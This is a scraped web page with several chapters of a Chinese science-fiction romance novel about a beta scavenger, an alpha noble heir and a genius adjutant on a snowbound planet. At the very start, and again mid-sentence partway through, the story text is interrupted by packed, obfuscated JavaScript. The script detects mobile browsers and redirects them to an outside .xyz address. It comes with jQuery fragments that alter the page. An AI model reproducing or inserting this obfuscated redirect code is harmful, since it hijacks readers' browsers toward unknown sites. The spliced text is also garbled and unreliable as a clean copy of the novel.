;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15453329|169519||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的鼓励,而是一个命运转折的契机。 “我不是想要赶你走,而是希望你仔细想想究竟哪个选择更有利于你自己,给自己一次机会,毕竟你也不希望同我们永远捆绑在一起,对吧?” 说完,彭姨就转身离开了,步子一深一浅,许是旧伤复发所致。 而江应余呆愣在原地,许久说不出话来。 贺平淮担忧地注视着她,走近几步,在她眼前挥了挥手,问她:“你……还好吗?如果需要帮助的话,我可以——” 话语戛然而止,在他看见泪水从江应余眼眶滑落的那一刻。 “离我远点。”江应余粗鲁地擦去眼泪,狠狠瞪了他一眼,“我不需要任何人的安慰。” 尤其是你。 她扭头就要离开,却被穷追不舍的贺平淮拦住了去路。 如今alpha小少爷已经褪去所有的傲气,在小心翼翼地与江应余保持距离的同时,不忘掏出那个引得两人吵架的源头,江应余的智网终端。 “抱歉,占用了它这么久。”贺平淮都数不清自己在今天道歉了多少回,“很多时候我不是故意想惹你生气,只是心里有些落差,不愿看你总是围着那个绿眼睛的beta。” 江应余在心里冷笑一声,暗骂他幼稚,但面上没什么表情。 贺平淮大着胆子又问:“那么,你现在还会害怕alpha、害怕我吗?” 此话一出,贺平淮便被江应余投射过来的目光看得后背发凉。 “怎么,我还需要谢谢你吗?”江应余嘴边挂着一抹讥笑。 拿回智网终端后,她冷冷地丢下一句话:“我的事不需要你来操心,少来多管闲事。” * D-309星某处隐蔽防空洞。 闻如昭瘫坐在地上,从身旁的简易医疗箱里取出消毒酒精与绷带,颤抖着手,拿着镊子咬牙取出埋在腹部深处的子弹,出了一身冷汗。 “****归零,真是**,****(无主之地极其粗俗的脏话,爱来自无主之地),我怎么就这么倒霉?” 她欲哭无泪地看向佩戴在腰间的两只巨大无比的机械手。 此时,两只机械手只剩下一条右臂,而另一只仅剩下短短一截,似是被人硬生生从根部掰断,有数根电线从断口中探出,光秃秃地裸露在外。 闻如昭在给自己包扎伤口的同时不忘继续念叨着:“现在好了,霸主被抢走了,机械手也断了一只,我自己还中了一枪,真是好极了。” 回想起不久前死里逃生的场面,闻如昭仍旧心有余悸。 要不是她在最后关头急中生智,利用中途碰上的那艘军舰引开了归零的注意力,说不定今日真的会交代在归零手里。 那可是无主之地最著名的杀手,代号归零。 传闻中此人手段残忍冷酷无情,为完成任务可以不惜一切代价,并且只效忠于臭名昭著的军火商维克托一人。 可是闻如昭怎么也想不明白,向来安分守己、除了偶尔小偷小摸就没干过一点坏事的自己,究竟是怎么招惹上了维克托这个神经病。 就为了追杀她这么一个手无缚鸡之力的小角色,竟然不惜派出大名鼎鼎的归零! 现在无主之地回不去也就算了,她原本只是想在救生飞艇报废前找个地方歇歇脚,却万万没想到在D-309星这种鸟不拉屎的鬼地方居然能碰上隶属于帝国第三军团的小队——这可是群比维克托更疯狂的神经病! “真是天要亡我!” 闻如昭长叹一声。 * 遥远太空中的一艘军舰内。 一身笔挺军装的张寻蔚喝了口咖啡,身旁站着一位正在汇报的士兵。 与神情紧张不安的士兵相比,张寻蔚看上去十分镇定,甚至有些漫不经心。 她朝士兵摆了摆手,语气平和:“这些都是小事,出去吧。” 待士兵离开后,张寻蔚转而在智网终端上操作了些什么,全程不过短短几分钟。 屏幕上迅速弹出了有关杀手归零的全部生平信息。 张寻蔚一目十行,很快便浏览完毕。 她所在的这艘军舰在不久前遭到了无主之地的杀手归零的袭击,对方不愧是无主之地最顶尖的杀手,确实难缠得很,就连张寻蔚也费了些力气才得以摆脱。 本以为这次的任务很轻松,不过是前往废弃星球D-309护送贺家小少爷回家而已。 没想到会遇上这么个意外。 张寻蔚靠在沙发上,出神地思索着什么,右手无意识地转着笔。 同僚时常笑话她还在用签字笔这种古老的东西,张寻蔚只是笑笑没作解释——她从不向傻子解释什么。 傻子不需要理解她每一道命令的用意,他们只要能乖乖听话就行。 7. 第七章 为什么世上要有天才 江应余才刚回到帐篷里躺下,揣在口袋里的智网终端就传来了消息提示音。 身心俱疲的她本不想理会这条消息,就这么直接睡过去。 不必查看她都能猜到是谁发来的。 但等她闭上眼睛后,不论如何努力入睡,却怎么都睡不着。 江应余心烦意乱地翻了个身,将脑袋埋进被子里,动作间不小心拉扯到了骨折的右手,疼得她浑身一僵,嘴里直抽气。 折腾这么一番后,江应余认命地掏出终端,打开了通讯界面。 果不其然,熟悉的头像映入眼帘,头像旁还闪烁着碍眼的小红点。 这是她的妹妹江新越,一个有别于她的、讨人喜欢的beta。 “我就知道是你。”江应余嘀咕一声,泄愤似地用力戳了一下屏幕,点开消息。 江新越:姐姐你究竟去哪儿了?为什么辞职了都不跟我说一声? 江新越:大骗子!说好会回来陪我过生日的!害我等了那么久!你到底去哪儿了?! 前两条消息是几个月前发来的,江应余一直懒得查看。而最新的这条才是今天刚收到的,与前两条比起来十分简短—— 江新越:姐姐,我会来找你的,给我等着。 “呵。” 江应余冷笑一声,笑得很用力,仿佛这样就能将自己心中的不屑传达给远在首都星的江新越。 “小屁孩真把自己当回事了。” 江应余与江新越的关系算不上亲近,两人虽说没吵过架,但因为理念不合根本聊不上两句。 与处处争强好胜的江应余不同,江新越的人生理念是得过且过,在江应余同自己的高中同桌贺平峥暗暗较劲的时候,还在念小学的江新越就已经把江应余心心念念的游戏《beta斗恶龙》通关了,不仅如此,她甚至在班级里开展了代打业务。 江应余脾气火爆,江新越性格温和。 从小到大几乎没人敢惹江应余,反观江新越,她即使被人欺负了也反应不过来,有时还会反过来谢谢人家,每次都是江应余替她出头帮她解决烂摊子。 回忆起过去的点点滴滴,江应余眼里冒火,在信息栏里打了好几行字,字斟句酌,反复删改,来来回回看了一遍又一遍,对字里行间的攻击性感到十分满意。 就在即将点击发送键的时候,她却又犹豫了起来。 算了,何必同一个小屁孩计较。 江应余将编辑好的内容全部清空。 不管怎样,即使交流不多,江新越却是她在家里唯一一个能够和平沟通的对象了。 心情复杂地退出通讯界面,江应余关闭终端丢在一旁,用被子捂住脑袋,闭上了眼睛。 奇怪的是,这一次那些纷纷杂杂的念头没有再来困扰她,困意如潮水般涌来,江应余很快就睡着了。 * 翌日,江应余起得很早。 由于昨日与贺平淮大打出手后不欢而散,贺平淮终于不再厚颜无耻地强行与她挤在同一间帐篷里,江应余因此难得睡了个好觉。 在简单洗漱后,她背上装着仪器的背包,戴上防毒面具,单手推着推车就准备开始新一天的工作。 营地里的人大多比她出发得更早,包括彭姨,故而江应余一路上没遇见什么拾荒者,只有莉莉可还在厨房里忙活。 路过的江应余看见后连忙制止了她。 “不用再给那个alpha做饭了。”江应余拿走她手里的煎蛋,反手塞进了莉莉可嘴里。 自打加入拾荒队后江应余就再没吃过鸡蛋这种珍贵无比的食物了,贺平淮凭什么可以理直气壮地品尝? 莉莉可只好咀嚼嘴里的鸡蛋,两腮上下鼓动,直到全部咽下去后才发问:“以后都不用做了吗?” 江应余点头:“嗯,不用管他。” 莉莉可看上去仍有些犹疑:“可是,那个alpha该吃什么呢?” 江应余:“当然是跟我们吃一样的东西,面包和营养液。” 话刚说完,主角的身影就出现在了厨房门口,他没有走进来,只停驻在江应余的推车旁,无声地望着她们二人。 刚一见到他,莉莉可便下意识往江应余身后躲去。 原本还想说点什么的江应余突然止住了话头,莉莉可眼里的胆怯令她回想起自己昨晚对alpha的恐惧。 贺平淮问她是否克服了这种恐惧,当时的江应余没有回答——因为连她自己也不清楚答案。 面对贺平淮,她的确不再害怕,可若是面对其他的alpha呢?若是面对训练有素的alpha士兵呢? 她还能保持镇定吗? 回过神后,江应余拍了拍莉莉可的肩膀,安抚道:“放轻松,没事的,我现在就把他带走。” 莉莉可闻言担忧地看了她一眼,想到昨晚返回营地时江应余狼狈的模样,便想出声阻止江应余继续与贺平淮接触,话到了嘴边却又突然止住。 她还记得彭姨原本计划着让江应余与贺平淮一起离开这里,虽然她打心眼里不希望江应余离开,可是对于江应余而言首都星显然才是更适合她的地方。 莉莉可默不作声地垂下脑袋,陷入了纠结。 江应余误以为她仍在害怕,摸了摸她蓬松的小脑袋,温和地说:“不必担心,江应余姐姐会保护好你的。” 莉莉可点点头以作回应。 待江应余走后,莉莉可看着她渐行渐远的背影,轻轻叹了口气。 从厨房出来后,贺平淮就不远不近地跟在江应余后头,江应余不打算搭理他,他也很自觉地保持安静。 贺平淮不知从哪儿也找来一张防毒面具戴在头上,看上去是打算跟着她一起去外面捡垃圾。 江应余当然不会阻止他。 且不说她骨折的手腕本就是拜他所赐,他在营地里白吃白喝这么多天,跟着她干点苦力难道不是理所应当吗? 两人是以徒步的方式来到江应余昨日标记的拾荒地点的。中途穿过了许多倒塌的建筑,几乎快要被终日不停的暴雪所淹没,但不难看出这片区域在过去应该相当繁华。 可惜如今已经无法通过眼前的废墟去想象其原本的形貌了。 江应余忽然想起日记本的前半部分所记载的那些温馨日常,不禁好奇地猜想日记主人魏循章是否也曾来过此处。 若是她还活着的话,看见此情此景又会作何想法呢? 再翻过一座小山丘,时间已经过了十点,江应余终于在一处刨开积雪的空地中央停下了脚步。 她将背包放在地上,毫不客气地对身后的alpha吩咐道: “我昨日已经铲除了大部分积雪,你把探测仪拿出来,直接开始勘察就行。” 贺平淮乖乖照做,不仅没有丝毫怨言,甚至在江应余主动同他说话时微微翘起了嘴角。 他走上前,拉开背包拉链,在各种器具中找到了探测仪。 就在他准备在江应余面前大展身手的时候,却捧着探测仪犯了难。 “你愣着干嘛?”江应余不解。 贺平淮满脸窘迫,耳尖烧得通红。 支支吾吾地说:“这个、这个探测仪我不会用……” 本以为自己又会被江应余羞辱一番,贺平淮恨不能将脑袋埋进雪地里,懊恼自己就该提前查一下资料,或是随便找个拾荒者请教请教。 不料江应余只是噗嗤一笑,像是想起了什么有趣的往事。 她完全没有责备他的意思,甚至很有耐心地教导了起来,关于探测仪上每个按钮的使用顺序,表盘数据的读取方法,以及高危物品的辨认途径等枯燥乏味的内容,在她的讲述下都变得通俗易懂。 这些原本都是莉莉可教给江应余的东西。 想到刚成为拾荒者的那段日子,江应余也像贺平淮一样对手里五花八门的器具一窍不通,起初以为凭借着机甲维修的专业知识足够她应对拾荒过程中的种种难题,却不想自己竟连最基础的探测仪都不会使用,长在探测仪上的八十九个按钮仿佛都在嘲笑她的自视甚高。 “……如果指示灯亮起红光并迅速闪烁,说明距离你十米以内的地表下含有易燃易爆的危险物品,需要尽快远离并通知相关人员进行处理。”江应余朝贺平淮瞥去视线:“以上这些内容能听明白吗?” 贺平淮答:“听明白了。” “那就开始试着使用它吧。”江应余满意地点了点头,贺平淮的学习速度很快,脑子还算好使。 她的目光不经意间略过贺平淮的脖颈一侧,那是她昨日咬出两排血痕的位置,分别的时候仍有血液不断渗出,但只过了短短一个夜晚,就见此处已经恢复如初,徒留两道淡粉色的疤痕。 alpha惊人的自愈力直观地展现在她眼前。 再想到自己额头上仍未消散的鼓包,以及两处骨折的部位 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她这副落魄的模样被谁看见都无关紧要,但绝对不能让曾经的竞争对手看见! 绝!对!不!能! ——她当年好歹也是战胜过贺平峥成为年级第一的传奇beta。虽然后来输得很惨,但只要她没有认输,他们之间的较量就没有结束。 就算贺平峥的军衔已升至少校,就算她沦为一介拾荒者,这些都不能代表什么。 提到贺平峥,也不见贺平淮露出什么高兴的表情,他手上动作未停,在记录数据的同时,意味不明地笑了一声: “他才不会来接我回家。他可是家里未来的顶梁柱,我怎么敢劳烦这位大忙人出马。” 话语间满是阴阳怪气,毫无兄友弟恭。 听闻此言,江应余悄悄松了口气,悬着的心终于落回肚子里,连带着看贺平淮都觉得顺眼不少:“你也不喜欢他?” 贺平淮没注意到那个“也”字,对贺平峥的愤懑溢于言表:“只有瞎子才会喜欢他这种人。” 江应余赞同地点头。 “不过,”贺平淮话锋一转,突然想起了那个最受贺平峥器重的beta副官,“他派来的副官是是一名beta。” 贺平峥的副官居然会是beta? 这倒是让江应余结结实实地吃了一惊。在学校的时候她可从没见贺平峥对哪个beta露出过好脸色,特别是她。 “那个beta很优秀吗?”江应余随口一问。 贺平淮的回答十分肯定:“非常优秀,称其为天才也不为过。” 不过贺平淮与那位副官仅见过寥寥数面,对她在工作中的表现所知不多,更多的是来自第一军团士兵们休息时的闲谈胡扯。 可信度不高,但当一位beta的能力优秀到足以被alpha认可时,就说明她的水平已经位于beta的顶峰。 那些士兵们无一例外都曾发出如此感慨: ——可惜她只是个beta。 “听说她曾同时就读于明辰军事大学的指挥系与机甲维修系,不仅在校期间参与的所有模拟赛无一败绩,还是建校以来第一位以全科第一的成绩毕业的beta,后来又去往联邦留学,具体经历众说纷纭,据说她似乎在智网、生物学、化学以及医学等方面都有涉猎,一度被各大实验室争抢,荣获诸多奖项,甚至有好几个家族纷纷向她递来橄榄枝,就连眼光最挑剔的蒙塔古家族都愿意为她留出一个席位。 “而她拒绝了以上所有的邀请,毅然回到帝国报考第一军团,而第四军团团长的三殿下也对她青睐有加,亲自邀请她加入自己名下的研究中心,却照样被她回绝。” 听到“三殿下”时,江应余的目光闪动一瞬。 “后来,毫无疑问地,她以第一名的成绩被第一军团录取,但限于beta的性别,她只能在副官、后勤之间选择职位,最初报考的副指挥一职因为没有beta担任的先例而被否决……” 后面的内容江应余没有继续听下去。 其实早在听见此人回绝三殿下的时候,内心便滋生出了一种名为嫉妒的情绪。 她梦寐以求想要加入的研究中心,在天才眼中竟然比不上一个alpha的副官?何其可笑。 更可笑的是,她自己连成为alpha副官的资格都没有。 8. 第八章 这就是天才的魄力吗 两人返回营地时,推车里已装满了废弃的金属制品。 他们运气还不错,找到了一处埋在雪里的民居,但凡有价值的物品都被他们搜刮一空,其中有不少家电,甚至还有一枚已经停产的旧型终端。 返程时的风雪比来时更猛烈,温度降至零下六十度,江应余将自己裹得密不透风,却还是冷得发抖,护目镜上沾满了雪花,贺平淮拖着推车跟在她身后,同样被冻得不轻。不巧的是手电筒的电量耗尽,由于D-309星没有太阳,能见度很低,没有手电筒的两人每一步都走得很艰难,只能通过指南针来辨别方向。 江应余又冷又饿,在D-309星的每一次长途跋涉都是对精神与□□的双重考验。 特别是在遇上暴风雪的时候,对于装备落后、连保暖衣物都买不起的拾荒者而言,这简直如同挑战人类生命力的极限。 就在江应余又一次不厌其烦地擦拭护目镜的时候,智网终端中传来了一道通讯提醒。 按理来说,除了江新越根本没人会联络她,即便是江新越的联络也并不频繁,从没出现连着两天发消息的情况。 本以为会是什么垃圾小广告,江应余打算直接无视掉。 可跟在身后的贺平淮想起了什么,赶紧出声提醒: “这可能是张副官发来的讯息,她说过近日就会抵达。” 怒号的狂风几乎吞没了一切声音,江应余只抓住其中几个关键字,好在并不影响她理解贺平淮的意思。 她停下脚步,蹲在地上,将智网终端拿出来,点开通讯。贺平淮也走过来学着她蹲下,安静地看着她操作。 因为不是军队内部通讯,发信人使用的是自己的私人账号,没有备注,网名是“故乡何处寻”,头像是一张简笔画,歪歪扭扭的线条看上去像是孩童所作。 看上去不像是发小广告的账号,但江应余一时很难相信那位传说中的天才人物会使用这种极端草率的头像。 故乡何处寻:舰队现已抵达D-309星,与当地驻军对接完成。 故乡何处寻:请向我发送您所在位置的坐标,我将带领舰队排除万难,即刻护送您返航归乡。 短短两条讯息让江应余陷入了沉默。 这样的口吻,看来的确是那位天才副官无疑。 她抬起僵硬的手指,向故乡何处寻发送了坐标。 发送完毕后,她滑动通讯界面,翻阅起了贺平淮与这位副官的聊天记录。 如她所料,两人的交流很少,也很简短: 贺平淮:正如通话里所说,我流落到了D-309星。 故乡何处寻:明白,我会尽快出发。 贺平淮:你们到哪儿了。 故乡何处寻:途中遭到杀手袭击,尚未脱困。 贺平淮:到哪儿了。 故乡何处寻:已摆脱杀手,近日即将抵达D-309星。请您静候。 以上就是全部的聊天记录。 江应余看完后便收起终端,缓缓站起身,活动了一下腿脚。 既然张副官很快就会赶来,她也没必要继续赶路。四下张望片刻,江应余打算找个能避风的角落歇息一下。 贺平淮紧紧跟了上去。 见江应余自打开终端起就一直不开口,他摸不清她此刻在想什么,准确来说,自她听完张副官的经历后,整个人都有些提不起精神。 但想到昨夜拾荒队的彭首领对她说的那番话,贺平淮还是想问个清楚,虽然知道江应余没那么容易被说服,但私心里当然希望她能回到首都星,与他一起。 迟疑片刻,他终于问:“你想好了吗,要不要跟我一起离开这里?” 江应余原本正在闭目养神,听见这话才睁开眼,毫不犹豫地答道:“我不会离开。” 贺平淮还想说点什么:“可是……” 江应余:“没有可是。” 她斩钉截铁地说:“难道离开之后我的生活就会渐渐好起来吗?当然不会,我只会成为你们贺家的一条狗,唯你们贺家的少爷们马首是瞻。” 二人不约而同地陷入了沉默。 事实正如她所说,如果江应余以贺平淮救命恩人的身份乘坐贺平峥麾下的战舰返回首都星,必然会与贺家捆绑在一起,而贺家的势力盘根错节,犹如一张密密麻麻的大网,所有被笼罩其中的人都不得逃脱。她将不再属于自己,而是作为一件物品,一枚砝码,一粒棋子,为世家所用,代世家而行。 更重要的是,一旦进入贺家的视线,江应余将很难开展对金苹果的调查。她仍对金苹果存有诸多不解,对精神力的运用也尚不纯熟,怀揣着这样来历不明的奇物贸然与贺家牵扯上关系绝不是件好事。 而贺平淮无从得知江应余的这些想法,经过昨日的教训,他也不会再试图改变江应余的决定。不过,尽管江应余三番五次地拒绝了他,但他有预感江应余早晚都会离开D-309星,离开拾荒队。 像她这样的人怎会甘愿当一辈子的拾荒者。 不知过了多久,茫茫白雪洒满二人肩头,就在江应余险些睡过去的时候,听见了自远处传来的隐约轰鸣,她起初还以为是自己产生了错觉,直到轰鸣声越发响亮,有光亮刺破浓雾,她才终于抬起头—— 因D-309星气候恶劣,能见度极低,她一开始只能看见一团朦胧的白光,随着车辆不断向前,江应余终于能依稀分辨出大致的轮廓,从体积上来看,这辆车犹如一座小山,足足有三米多高。 它是最新型号的军用越野,配有六个重型轮胎,即使行驶在崎岖不平的雪地里其速度也丝毫不受影响。车身线条简洁凌厉,均采用坚固的中型装甲,两侧贴有第一军团的标志,车顶还搭载着几杆长枪,仿佛随时准备抵御外敌。 庞然大物在二人跟前缓缓停下。 车门打开,一名身穿黑色军队制服的女性走了下来,她没有佩戴防毒面具,就连制服都是普通的春秋款,只随意披上一件深黑的长款军大衣,空荡荡的两条袖口被狂风吹得猎猎作响,她却仿佛早已习以为常,丝毫不显狼狈,抬手系上排扣,手上戴有黑色手套。 无需费力寻找,她的目光笔直看向坐卧在雪堆前的二人,阔步走来。 伴随着平稳有力的步伐,江应余还能听见她所佩戴的武器发出的声响。 当她回神时,这位年轻的副官已经走到了自己跟前,她抬起头,看见了一张漂亮却冷漠的脸。 然而,这份冷漠很快就成了江应余的错觉。 张副官朝二人行了个标准的军礼,她的视线根本没有落在贺平淮身上,而是带着探究打量着一旁的江应余。 与她相比,江应余看上去就像一位难民,在风雪交加饥寒交迫的夜里等待救援。头发已经很久没洗,杂乱地系在脑后,衣服也是脏兮兮的,不仅沾满了灰尘,还带着大块没来得及处理的血渍。 可张副官毫不在意地露出了一个温和的笑容,一个标准的能让任何人放下戒心的笑容。她说: “二位请随我上车暖暖身子吧。” 说完,她侧身做了一个“请”的姿势。 上车的时候,江应余的脑子还有些迷糊,甚至险些被绊倒。她此前对于这位副官的确有过许多猜想,有好也有坏,可在亲眼见过之后,那些猜想全都消失得无影无踪。虽然还没同张副官搭上话,谈不上什么了解,但她对此人没来由地感到好奇。 于是,自上车后,江应余的目光一直追随着张副官的身影,不愿错过她的每个举动。 无论是在接过张副官递来的温水时,还是在张副官干脆果决地下令时,江应余都专注地望着她,仿佛眼里只能装下她一个人。 由于她的视线已经强烈到令人无法忽视的程度,张副官不禁扶额,无奈地转头看向后排直勾勾地盯着自己的江应余: “你似乎对我很好奇?” 江应余骤然回神,这才意识到自己究竟做了些什么,窘迫地别开脸,烧红了脸。 在听说此人拒绝三殿下的邀请后,她便对此事耿耿于怀。或许也是头一次遇见这类活在传说中的天才人物,在好奇与嫉妒的双重作用下,她忍不住想从张副官的一举一动里找出哪怕一丁点不甘于现状的蛛丝马迹。 可惜她失败了,还被本人抓了个正着。 江应余啊江应余,你怎么如此不小心!! 好在贺平淮注意到了她的窘状,适时开口岔开了话题,解救江应余于水火:“张副官,在返回营地后请你尽快为江应余采取治疗措施,并进行一次全面的体检,她的身体有多处挫伤与骨折,且都是由我一手造成,对此我深感愧疚。” 他看了江应余一眼,却继续对张副官说:“希望你能完美处理此事, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15453331|169519||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不要让我失望。” 江应余这才注意到,自打张副官出现以来,贺平淮的态度甚至是整个人的气质都发生了彻头彻尾的改变,不过转眼间他便找回了初见时阴郁矜贵的模样,虽然衣着的破损与脖颈的疤痕让他不再光鲜亮丽,但这般言行举止无一不象征着他显赫不俗的出身与教养。 江应余并不喜欢贺平淮对张副官说话的口吻,仿佛张副官只是一个服务于alpha的从属物——她分明是亿万beta中脱颖而出的稀世罕见的天才。 可张副官脸上没有半点不愉,依旧保持着完美到无可挑剔的微笑:“好的,小少爷。” 江应余突然觉得这份笑容十分的碍眼,好似她心甘情愿为alpha长官的弟弟服务,又好似她已经舍弃了所有属于天才的骄傲与尊严。 江应余不喜欢这样。她不禁想,如果换作自己处在张副官的位置上,她绝不可能如张副官一般好说话。 她绝对会先劈头盖脸将贺平淮骂一顿,然后按着他的脑袋向被他欺负的beta道歉。虽然这样做的后果必然是被长官追责,更严重点甚至会被革职处理。 但她就是不明白,为何这世道总是教beta先学会低头? 江应余心中堵了口气无处发泄,后半程的路上一直保持着沉默。 在抵达战舰停靠的位置后依然如此,面对气势恢宏的航空母舰,江应余提不起任何参观的兴趣。 她在张副官的带领下走入舰仓内,注意到习惯性跟在自己身后的贺平淮,越看越觉得碍眼,眉头几乎快要拧在一处,语气生硬地赶人: “你别跟过来了,我一人去就行。” 贺平淮愣住了:“可是我有些不放心……” 听上去还挺委屈。 江应余深吸一口气,按捺住即将喷薄而出的怒火:“在你哥哥的地盘上,有什么不放心的?” 张副官倍感稀奇地在二人之间来回扫视,在事态恶化前及时出声打圆场:“不妨各退一步,医务室旁就有一间休息室,小少爷可以在那里休息片刻,若发生什么意外也能尽快赶过来,您看如何?” 江应余与贺平淮对这项提议均无异议。 意识到自己的冲动,江应余没再开口,默默平复着情绪,没有注意到贺平淮在她转身后瞬间沉下的脸。 成功将纠纷的苗头掐灭在摇篮中,张副官一路顺利地领着江应余进入了医务室。 “我们舰队拥有最先进的修复舱,除罕见病与绝症外的绝大多数病症都能通过它得到治疗,不过还请让我先为您进行一次全面检查,只有在了解您身体最真实的情况后,才能为您调用合适的修复液进行疗愈。” 江应余点点头,与过于优秀的人单独相处让她有些拘谨:“您……啊不,我是说,你可以不用对我使用敬称,我们像平常一样说话就行。” 张副官笑意不改:“好的。” 她抬手指向摆放在修复舱旁边的一台医用扫描仪:“直接躺上去即可,头朝里,扫描结果会在一分钟后自动生成。” 江应余听话照做。 走上一级台阶,按照指示躺在干净如新的床体中央,茫然地盯着雪白的天花板,不知道接下来该做什么。 “请闭上眼睛。” 江应余顺从地闭眼。很快,她听见了扫描仪启动的声音,似乎有什么在不断地旋转,床体也在缓缓移动,而整个过程持续了不到一分钟,比预想中结束得还要迅速。 张寻蔚坐在系统前静静等候着扫描结果加载完成。 本想喝口咖啡提神,右手下意识在桌面上寻找熟悉的咖啡杯,却摸了个空。 她这才想起来自己忙得根本没时间泡咖啡。 好在扫描结果已经弹出,张寻蔚集中精神比对各项数据、分析影像。前面大半部分的内容都符合指标,没什么大问题,不明白贺家小少爷何至于如此郑重其事。 直到她看到某一条不起眼的栏目时,原本平静的面容上出现了一丝裂痕,在万般惊讶之下瞳孔逐渐放大。 她若有所思地摸出随身携带的签字笔转了起来,那张连嘴角的弧度都被精心计算过的笑容终于消失。滑动鼠标中键,针对性地查看了某几项结果,心中已有大致猜测。 “该说是……得来全不费工夫吗?” 张寻蔚饶有兴趣地想,事情开始变得有点意思了。 9. 第九章 我要活下去(闻如昭) 在永恒的黑夜里,时间仿佛失去了应有的意义。 漆黑的防空洞内,流血过多的闻如昭已经分不出心神去思索自己与外界隔绝了多久。面对食物紧缺、伤口未愈、随时会被第三军团发现的现状,闻如昭陷入了进退两难的境地。 D-309星恶劣的环境显然超出了她的想象,她不仅没有准备防毒面具,更无法确定离开防空洞后能否活着找到可以求助的对象。 闻如昭摊在地上,连动弹手指的力气都没有。 现在回想起来,自从她被归零追杀那天开始,不,准确来说,是从她无意中在无主之地发现一处研究基地开始,她所做的每个选择都将她导向了一个更糟糕的结局,仿佛背后有一只大手操纵着一切,而她却对大手的存在一无所知。 冷静下来,闻如昭,还没到该放弃的时候。 闻如昭深吸一口气,冰冷的气体让她咳嗽起来,同时牵动了腹部潦草包扎的伤口,疼得她眉头紧皱。饥饿与寒冷像病毒一样无孔不入地侵蚀着她的理智,将她的躯体变得麻木,如果再不尽快作出决定,她很可能真的会死在这里。 在无主之地长大的孩子或许什么都会缺一点,诸如金钱、学识、道德感、同理心之类,唯独不缺的一样东西便是求生欲。 那是个不容法律,不容秩序涉足的领域,是星际海盗、军火商、人贩子、皮条客,以及人体实验研究员们狂欢的游乐场,在这个罪恶不受约束、正义不会到来的地方,没有求生欲的孩子根本不会拥有长大成人的机会。 因为长期营养不良,闻如昭从小就比同龄的beta瘦小许多,但奇怪的是,没吃过什么好东西的她竟然在近两年疯狂长个子,面黄肌瘦的同时身高一米八,机械狂人的标签与巨大的机械手让她年纪轻轻就极具威慑力,两只机械手挥舞起来比alpha还能唬人,除了房东几乎没人敢同她搭话。 这也间接使得在她被归零追杀的时候没有任何人愿意伸出援手,导致她彻底陷入孤立无援的境地。 险之又险地躲过归零的第一波追杀,虽然折损了不少自走机械,连霸主也被她逮住,但闻如昭自认这段惊险大逃杀足以列为无主之地的一项传奇。 后夺取一辆小型飞艇的控制权一路逃亡至十五年前就被废弃的星球D-309,不想竟遇上了了第三军团的侦查机甲,好在她及时避开了它的侦查范围,迅速远离后躲进了无人的防空洞内。此时细细想来闻如昭才觉得有些不对劲,第三军团向来臭名昭著,被誉为皇帝的暗刃,为了执行陛下的命令而不计任何后果,在帝国五大军团中动向最为隐秘、行事最为乖张,除了联邦与新世界几乎无人敢惹,可是这群疯子跑来D-309星做什么? 难不成这里有什么宝贝吸引了那位陛下的注意? 转念又觉得很荒唐,一颗废弃了十五年的星球里能有什么宝贝——值得第三军□□出舰队前来把守各个关口,将D-309星围得密不透风? 此事实在太不寻常,处处都透露着诡异。 还没等闻如昭想明白其中关窍,腰间别着的自动巡航系统突然启动,语调平稳毫无起伏的机械女音在防空洞内回响: “检测到所属第一军团的昼日无垠级航空母舰降落于D-309星,检测到所属第一军团的昼日无垠级航空母舰降落于D-309星……” 语音循环播放着同样的内容。 闻如昭眼睫一跳,好半晌没反应过来,事情的发展完全在她预料之外,脑子已经乱成一团浆糊。愣了许久才想起来关闭巡航语音。 不论第一军团的人为何会来到这里,都意味着外面发生了什么她不知道的大事。虽然现在还搞不清状况,但如果不出去拼上一把,她只会冻死在这里。 左手与仅剩的那只机械手一同使力,将上半身撑起来,为避免拉扯伤口,闻如昭熟练地操作机械手替自己从医药箱内取出一瓶药罐,看也没看就掏出几粒往嘴里塞。 待得药效初显,伤口的疼痛逐渐缓和,闻如昭才尝试着曲起膝盖,在黑暗中摸索着撑住墙壁,缓缓站了起来。喘过几口气后,她慢慢挪动着步子,在机械手的帮助下,一瘸一拐地朝防空洞出口走去。 闻如昭心跳如擂鼓,不抱什么希望地想:希望这一次她能足够好运。 * 在江应余躺入修复舱进入睡眠后,张寻蔚带上她的体检报告径直走向医务室隔壁的休息室中。 休息室里只有贺平淮一个人,在士兵的帮助下他总算换掉了那身隐隐有些发臭的破烂衣物,恢复到了贺家小少爷往日应有的模样。 门没关,但张寻蔚还是礼貌地敲了敲门。 “进。” 贺平淮正在对崭新的智网终端进行初始设置,靠在沙发上双腿交叠,头也没抬。 张寻蔚走近后将报告放在桌案上,朝贺平淮的方向推进一段距离:“这是江应余小姐的体检报告,请您查阅。” 贺平淮手上动作一顿,终于抬头,朝她身后扫了一眼,先问的却是:“她呢?” 张寻蔚解释道:“江应余小姐正在接受治疗,大概需要三个小时才能苏醒,请您耐心等候。” 贺平淮点了点头。他与贺平峥的这位副官交集不多,除开那些有关于她的传闻,她留给的他的印象其实算不上有多好。 他没有全盘否定张副官的意思,必须承认的是,张副官的能力有目共睹,几乎所有的作战任务都能完美完成,优秀得毋庸置疑。然而,贺平淮不喜欢正是这份完美。 